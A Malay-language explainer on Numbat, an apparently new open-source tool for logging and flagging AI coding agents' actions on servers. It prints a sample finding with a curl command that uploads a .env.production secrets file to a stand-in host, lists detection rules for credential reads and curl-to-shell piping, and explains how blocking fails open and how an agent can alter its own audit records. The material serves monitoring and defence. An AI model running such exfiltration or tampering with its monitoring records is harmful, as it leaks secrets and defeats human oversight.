Cara pantau tindakan ejen AI dengan Numbat
Perplexity melancarkan Numbat sebagai alat pemantau sumber terbuka untuk mengesan aktiviti ejen AI pada pelayan anda. Ketahui cara ia merekodkan arahan shell dan fail.
Apakah itu Numbat
Numbat memberikan anda keterlihatan terhadap tindakan yang dilakukan oleh ejen AI pada mesin milik anda. Ia membaca callback hook dan fail sesi yang telah pun dihasilkan oleh ejen pengekodan, menormalkannya kepada satu format acara, dan memadankannya dengan peraturan yang mencetuskan amaran berdasarkan tingkah laku seperti membaca kunci peribadi SSH atau menyalurkan muat turun terus ke dalam shell. Perplexity mengeluarkannya sebagai sumber terbuka di bawah Apache 2.0, dengan keluaran bertanda pertama pada 29 Julai 2026.
Segala maklumat di bawah diperoleh daripada repositori projek dan dokumentasinya sendiri, yang dibaca pada 2 Ogos 2026. Sejarah keluaran, keperluan pemasangan, skema rekod dan liputan ejen telah disemak semula terhadap repositori tersebut pada 12 Oktober 2026. Di mana Perplexity membuat tuntutan, catatan ini akan menyatakannya. Ini bukan tutorial pemasangan, kerana repositori ini masih baharu dan perintahnya akan berubah.
Masalah: tiada rekod tindakan ejen
Ejen pengekodan pada VPS anda menjalankan arahan shell, membaca fail, menulis fail, dan membuka sambungan rangkaian, semuanya menggunakan pengguna yang anda berikan kepadanya. Sejarah shell anda tidak merekodkan perkara tersebut kerana ejen tidak menaip ke dalam shell anda. sshd merekodkan log daftar masuk anda sahaja dan tiada apa-apa yang diputuskan oleh model selepas itu. /var/log/auth.log kekal senyap melainkan sesuatu mencapai sudo. Ejen menyimpan transkripnya sendiri, tetapi fail tersebut berada dalam direktori sesi ejen, formatnya berubah antara keluaran, dan proses ejen itu sendiri boleh menulis kepadanya.
Oleh itu, apabila seseorang bertanya sama ada ejen membaca .env.production pada hari Selasa lepas, jawapan jujur pada kebanyakan pelayan ialah anda tidak dapat memastikannya. Jurang itulah sebab projek ini wujud.
Apa yang Perplexity dakwa tentang Numbat
README bermula dengan memerihalkan alat ini sebagai "keterlihatan titik akhir (endpoint) ke dalam aktiviti ejen AI, dengan pengesanan setempat, penyekatan pra-tindakan pilihan, dan pembinaan semula forensik". Titik akhir di sini bermaksud mesin tempat ejen itu berjalan, bukan perkakas rangkaian yang memantau dari luar. Ini adalah keupayaan yang berasingan dan membawa kepentingan yang berbeza.
Pengesanan berjalan pada peranti. Peraturan ditulis dalam CEL (common expression language) dan dinilai secara setempat, dengan peraturan jujukan berbilang langkah di atasnya serta sokongan untuk peraturan anda sendiri dalam YAML. Tiada apa-apa yang perlu keluar dari mesin untuk sesuatu peraturan dicetuskan.
Penyekatan adalah pilihan dan terhad. Ia hanya berfungsi melalui cangkuk (hook) pra-tindakan segerak, pada ejen yang mendedahkannya, dan ia dimatikan sehingga anda menghidupkannya.
Pembinaan semula berlaku selepas kejadian. numbat scan menghuraikan artifak sesi yang telah pun ditulis oleh ejen ke cakera, supaya anda boleh melihat aktiviti dari sebelum anda memasang apa-apa. Projek ini berhati-hati untuk mengehadkan dakwaan tersebut: "Pembinaan semula data yang tersimpan (at-rest) bukanlah pemerolehan cakera atau memori dan tidak boleh memulihkan aktiviti yang tidak disimpan oleh ejen."
Output adalah NDJSON (newline delimited JSON) berversi yang merangkumi peristiwa, penemuan, keputusan penguatkuasaan, penunjuk dan ringkasan imbasan, pada versi skema 0.2.0 setakat v0.1.2. Skema tersebut telah berubah sejak itu: pada 12 Oktober 2026 repositori tersebut membawa versi skema 0.2.0, 0.3.0 dan 0.4.0, dan contoh rekod dalam README menunjukkan 0.4.0. Rekod dihantar ke stdout atau fail setempat, dan secara pilihan melalui HTTP ke pengumpul (collector) yang anda jalankan. Ia dihantar sebagai satu binari Go statik yang dibina tanpa cgo, untuk macOS, Linux dan Windows pada amd64 dan arm64, jadi pada VPS Linux ia hanyalah satu fail tunggal tanpa persekitaran masa jalan (runtime) untuk dipasang terlebih dahulu.
Ejen manakah yang sebenarnya boleh dilihat oleh Numbat?
Matriks liputan dalam docs/agent-coverage.md ialah senarai rasmi, dan ia tidak sekata. Projek ini menyatakan perkara tersebut secara jelas dan tidak menyembunyikannya. Claude Code, Codex, Gemini CLI, Cursor dan GitHub Copilot CLI mempunyai kedua-dua pengimbasan artifak dan tangkapan langsung dengan cangkuk pra-tindakan (pre-action hook). OpenClaw mendapat pemalam asli bermula dari versi 2026.7.1 dan seterusnya. Senarai panjang entri ditandakan sebagai ditangguhkan, yang bermaksud laluan cangkuk langsung wujud tetapi penghurai artifak tidak, selalunya kerana ejen tersebut menyimpan sejarahnya dalam SQLite dengan log tulis-dahulu (write-ahead log) yang tidak selamat untuk dibaca semasa ejen sedang berjalan. Cline CLI berada dalam kumpulan tersebut: cangkuk langsungnya berfungsi, tetapi sesi SQLite-nya tidak dihuraikan. OpenCode ialah kes yang berbeza. Matriks v0.1.2 menghuraikan stor JSON awalnya dan hanya menangguhkan pangkalan data opencode.db semasa, ia tidak menyenaraikan penguatkuasaan pra-tindakan untuk OpenCode, dan matriks pada main masih dibaca sedemikian pada 12 Oktober 2026.
Semak baris untuk ejen anda sebelum anda merancang sebarang perkara di sekitar alat ini, kerana "disokong" bermaksud sesuatu yang berbeza pada hampir setiap baris.
Rupa bentuk pengesanan
Peraturan membawa ID yang menyatakan tujuannya. secrets.read_private_key meliputi kunci SSH, kelayakan AWS, konfigurasi kube atau log masuk pendaftaran pakej. exec.download_pipe_shell dicetuskan apabila output curl atau wget disalurkan (piped) ke dalam penterjemah. privilege.elevated_shell mengesan permintaan untuk shell root interaktif melalui sudo, doas, su atau pkexec. impact.cryptomining_launch memadankan binari pelombong dan nama imej yang diketahui.
Peraturan jujukan menggabungkan peristiwa dalam satu sesi. chain.secret_read_then_egress memerlukan fail rahsia dibaca diikuti dengan arahan yang membawa data keluar. README menerbitkan penemuan di bawah daripada main semula terkawal dua panggil balik pra-tindakan Claude Code, bukan daripada insiden sebenar. Ia dipotong di sini kepada medan yang penting:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Perhatikan "confidence": "medium" yang berada di dalam rekod, dan perhatikan apa yang dinyatakan oleh projek mengenai keseluruhan kelas output tersebut: "Penemuan adalah padanan peraturan, bukan bukti pengkompromian." Skrip penggunaan (deploy script) yang membaca kunci dan kemudian memuat naik artifak binaan akan memadankan peraturan jujukan yang sama. Padanan tersebut adalah betul dan penggera tersebut adalah salah, yang merupakan keadaan biasa bagi setiap alat pengesanan yang pernah anda jalankan.
Sekatan dinyahaktifkan secara lalai, dan ia gagal dalam keadaan terbuka (fail-open)
Setiap peraturan yang disertakan oleh Numbat hanya bertujuan untuk pemantauan. Menukarkan peraturan kepada sekatan memerlukan tindakan sengaja: salin YAML lengkap peraturan tersebut ke direktori anda sendiri, kekalkan id yang sama, tambah enforce: true, tingkatkan versi, kemudian sahkan dan pasang polisi tersebut.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceKini, bahagian yang menentukan tahap kepercayaan anda terhadapnya. Tindakan deny oleh Numbat merupakan respons yang diserahkan kembali kepada ejen, dan ejen itulah yang sebenarnya menolak panggilan alat tersebut. Panduan penguatkuasaan menyatakan dengan jelas tentang apa yang berlaku apabila Numbat sendiri menghadapi masalah: "Payload yang rosak, ralat penilaian yang berkaitan, panik, dan kegagalan output akan menyekat tindakan deny numbat." Input cangkuk (hook input) dihadkan pada 4 MiB, dan input yang melebihi saiz tersebut akan melalui laluan yang sama.
Panduan tersebut juga menyatakan dengan jelas tentang had tindakan deny yang berjaya dilaksanakan: "Fail-open bermaksud numbat menahan respons deny-nya. Ia tidak menjamin bahawa alat tersebut akan dilaksanakan: hos mungkin masih meminta pengesahan, menolak, tamat masa, atau menggunakan cangkuk atau polisi lain."
Oleh itu, penguatkuasaan di sini merupakan penghadang keselamatan, bukan sempadan mutlak. Jika proses terhenti (crash), tindakan tersebut tidak disekat oleh Numbat, kerana pemantau yang membekukan ejen anda setiap kali ia menghadapi masalah akan dinyahpasang dalam masa seminggu. Pertukaran ini adalah munasabah. Jangan bina model keselamatan yang mengandaikan bahawa respons deny akan sentiasa sampai.
Kedudukan Numbat berbanding amalan sedia ada anda
Numbat berjalan pada titik akhir (endpoint), di dalam pepohon proses ejen itu sendiri, dan menulis ke ~/.numbat/records.ndjson secara lalai. Ejen yang berjalan sebagai pengguna anda boleh membaca fail tersebut. Ia juga boleh mengubah suainya. Nilai jejak audit adalah setara dengan pengasingan di sekelilingnya, yang meletakkan setiap kawalan yang anda miliki di hadapan kawalan ini dan bukannya di belakangnya.
Memberikan ejen pengekodan VM pakai buang mengehadkan capaian sekiranya berlaku pelaksanaan yang tidak diingini. Pengguna dengan keistimewaan minimum pada VPS menghalang ejen daripada membuka fail yang tidak berkaitan dengan tugasnya. Menyimpan kelayakan di luar konteks ejen adalah perkara yang menjadikan padanan secrets.read_private_key cukup jarang untuk diperiksa apabila ia dicetuskan. Dan kotak pasir (sandbox) yang anda sediakan untuk Claude Code pada VPS masih merupakan mekanisme yang melakukan pengurungan. Pengurungan mengehadkan apa yang boleh disentuh oleh pelaksanaan yang tidak diingini, manakala mencatatkan sebab kod dibentuk sedemikian mengurangkan kekerapan ejen melakukan sesuatu yang mengejutkan sehingga memaksa anda menyemak log.
Apa yang ditambah oleh Numbat ialah rekod, jadi hantarkan rekod tersebut ke tempat yang tidak boleh dicapai oleh ejen. numbat ship dan HTTP sink wujud untuk tujuan itu. Salinan strim pada mesin kedua adalah perbezaan antara fail log dan bukti. Model peristiwa juga membawa medan MCP (model context protocol), jadi panggilan alat yang keluar melalui pelayan MCP yang anda hoskan pada VPS akan mendarat dalam strim yang sama dengan arahan shell tempatan. Ini penting kerana laluan tersebut tidak kelihatan kepada mana-mana pemantau yang hanya melihat bash. Titik buta yang sama meliputi instans SearXNG yang disambungkan sebagai backend carian ejen, di mana risiko hadir sebagai teks halaman yang tidak dipercayai yang masuk ke dalam konteks model, bukannya sebagai arahan yang boleh dipadankan oleh mana-mana peraturan.
Cuba mod baca sahaja dahulu
Pasang versi yang ditetapkan (pinned). Perintah di bawah menetapkan v0.1.2, yang README-nya memerlukan Go 1.26.5 atau lebih baharu. README pada cawangan main meminta Go 1.26.6 atau lebih baharu pada 12 Oktober 2026, satu peningkatan yang tiba bersama v0.2.0, jadi gunakan 1.26.6 jika anda menetapkan tag yang lebih baharu. Halaman releases menyediakan binari pra-bina dengan checksum SHA-256 jika anda tidak mahu membina daripada sumber.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents mengesan ejen yang dipasang pada kotak tersebut. numbat scan menghurai artifak sesi yang sudah ada pada cakera dan mencetak rekod. README menyatakan bahawa perintah ini "tidak memasang hook atau mengubah konfigurasi ejen", dan numbat "tidak pernah melaksanakan ejen atau perintah yang ditemui dalam artifak, dan ia hanya membuat permintaan keluar ke HTTP sinks yang dikonfigurasikan". Pengimbasan adalah dalam mod baca sahaja dengan penyuntingan rahsia (secret redaction), dan output rekod biasa tidak pernah menyertakan transkrip mentah yang lengkap.
Tangkapan langsung (live capture) adalah langkah seterusnya, dan ia mengubah konfigurasi ejen:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all menulis peristiwa, penemuan, indikator dan keputusan penguatkuasaan yang berkenaan ke ~/.numbat/records.ndjson. Dua amaran datang terus daripada projek tersebut. Hook mungkin perlu dipercayai di dalam ejen sebelum ia dijalankan sama sekali, dan kepercayaan itu perlu disemak semula selepas anda menukar flag seperti --enforce. Dan hook status "mengesahkan konfigurasi, bukan pelaksanaan atau penghantaran", jadi baris status yang sihat bukanlah bukti bahawa rekod sampai ke mana-mana destinasi.
Mengapa repositori baharu ini bukan satu dependensi
Sehingga 12 Oktober 2026, release awam adalah v0.1.1 pada 29 Julai 2026, v0.1.2 pada 1 Ogos 2026, dan v0.2.0 pada 17 Ogos 2026, yang ditandakan sebagai versi terkini pada halaman release. Repositori ini mempunyai 597 bintang semasa catatan ini ditulis pada 2 Ogos 2026. Angka yang meningkat pantas mencerminkan audiens Perplexity, bukan kualiti kod tersebut. Bintang hanya bermaksud seseorang menyimpan halaman tersebut untuk dilihat kemudian.
Nombor versi ini menunjukkan kedudukan sebenar perisian tersebut. Nota v0.1.2 kebanyakannya melibatkan pembaikan penyuntingan kelayakan (credential redaction), serta kerja penormalan telemetri dan bundle kes. Nota v0.2.0 menambah penangkapan kandungan mesej terhad, penguatkuasaan baca-fail Cursor melalui hook beforeReadFile, dan lebih banyak pembaikan penyuntingan. Pepijat penyuntingan adalah kecacatan awal yang dijangkakan dalam alat yang tugasnya membaca transkrip program lain dengan selamat, dan akan ada lebih banyak lagi, kerana input datang daripada sedozen ejen yang setiap satunya menukar format mengikut jadual masing-masing.
Dua peraturan praktikal perlu diikuti. Pin tag tersebut, jangan sesekali @latest, dalam apa jua yang anda simpan. Anggap ia sebagai instrumen yang sedang anda nilai dan bukannya kawalan yang anda harapkan, sekurang-kurangnya sehingga skema rekod berhenti berubah. Ia masih belum berhenti: ia berubah daripada 0.2.0 pada v0.1.2 kepada 0.4.0 dalam README pada cawangan main dalam tempoh kira-kira sepuluh minggu.
FAQ
Adakah Numbat menyekat arahan ejen AI yang berbahaya?
Hanya jika anda memilih untuk mendayakannya, dan ia berdasarkan usaha terbaik sahaja. Setiap peraturan yang dihantar oleh Numbat hanya bertujuan untuk pemantauan. Untuk menyekat, anda perlu menyalin YAML peraturan tersebut ke direktori anda sendiri, mengekalkan id-nya, menambah enforce: true, menaikkan versi, dan memasang hook dengan --enforce. Walaupun begitu, tindakan menyekat (deny) hanyalah respons yang dihantar kembali kepada ejen, dan ejen itu sendiri yang akan menolak panggilan tersebut. Projek ini mendokumentasikan tingkah laku fail-open: payload yang tidak terbentuk dengan betul, ralat penilaian, panik, dan kegagalan output semuanya akan membatalkan sekatan. Gunakannya sebagai langkah kawalan tambahan, bukan sebagai satu-satunya sempadan keselamatan anda.
Ejen AI manakah yang disokong oleh Numbat?
Liputan berbeza mengikut ejen dan disenaraikan dalam docs/agent-coverage.md di dalam repositori. Claude Code, Codex, Gemini CLI, Cursor, dan GitHub Copilot CLI mempunyai kedua-dua pengimbasan artifak dan tangkapan langsung semasa halaman tersebut dibaca pada 2 Ogos 2026, dan OpenClaw mempunyai pemalam asli bermula dari versi 2026.7.1. Banyak ejen lain disenaraikan dengan laluan hook langsung tetapi belum mempunyai penghurai artifak, biasanya kerana sejarah sesi mereka disimpan dalam pangkalan data SQLite yang tidak selamat untuk dibaca semasa ejen sedang berjalan. Baca baris untuk ejen anda, kerana perkataan "disokong" merangkumi beberapa tahap yang berbeza di sana.
Bolehkah ejen mengubah rekod Numbat?
Ya, jika ia berjalan sebagai pengguna yang sama. Rekod secara lalai disimpan di ~/.numbat/records.ndjson pada mesin yang sama dengan ejen, jadi apa-apa sahaja yang mempunyai akses tulis ke laluan tersebut boleh mengubah atau memadamnya. Hantar aliran data ke pengumpul (collector) yang tidak boleh dicapai oleh ejen, dengan numbat ship atau sink HTTP, dan simpan fail tempatan sebagai salinan kemudahan. Inilah sebabnya alat ini melengkapi pengasingan dan bukannya menggantikannya. Ejen yang dikurung dalam VM sementara di bawah pengguna dengan keistimewaan minimum mempunyai capaian yang jauh lebih terhad terhadap jejak auditnya sendiri.
Adakah Numbat sedia untuk pelayan pengeluaran (production)?
Bukan sebagai kawalan yang anda harapkan sepenuhnya. Keluaran awam pertama ialah v0.1.1 pada 29 Julai 2026, v0.1.2 menyusul pada 1 Ogos 2026 dan v0.2.0 pada 17 Ogos 2026, dan menjelang 12 Oktober 2026 skema rekod dalam README telah mencapai 0.4.0, jadi flag dan skema rekod kedua-duanya masih berubah-ubah. Menjalankan numbat agents dan numbat scan pada sebuah mesin adalah bersifat baca sahaja dan berisiko rendah, dan ia akan memberitahu anda apa yang telah ditinggalkan oleh ejen anda pada cakera. Memasang hook penguatkuasaan pada pelayan yang penting adalah keputusan yang berbeza, dan ia memerlukan tag yang ditetapkan (pinned tag) serta pelan tindakan sekiranya hook tersebut tidak berfungsi dengan betul.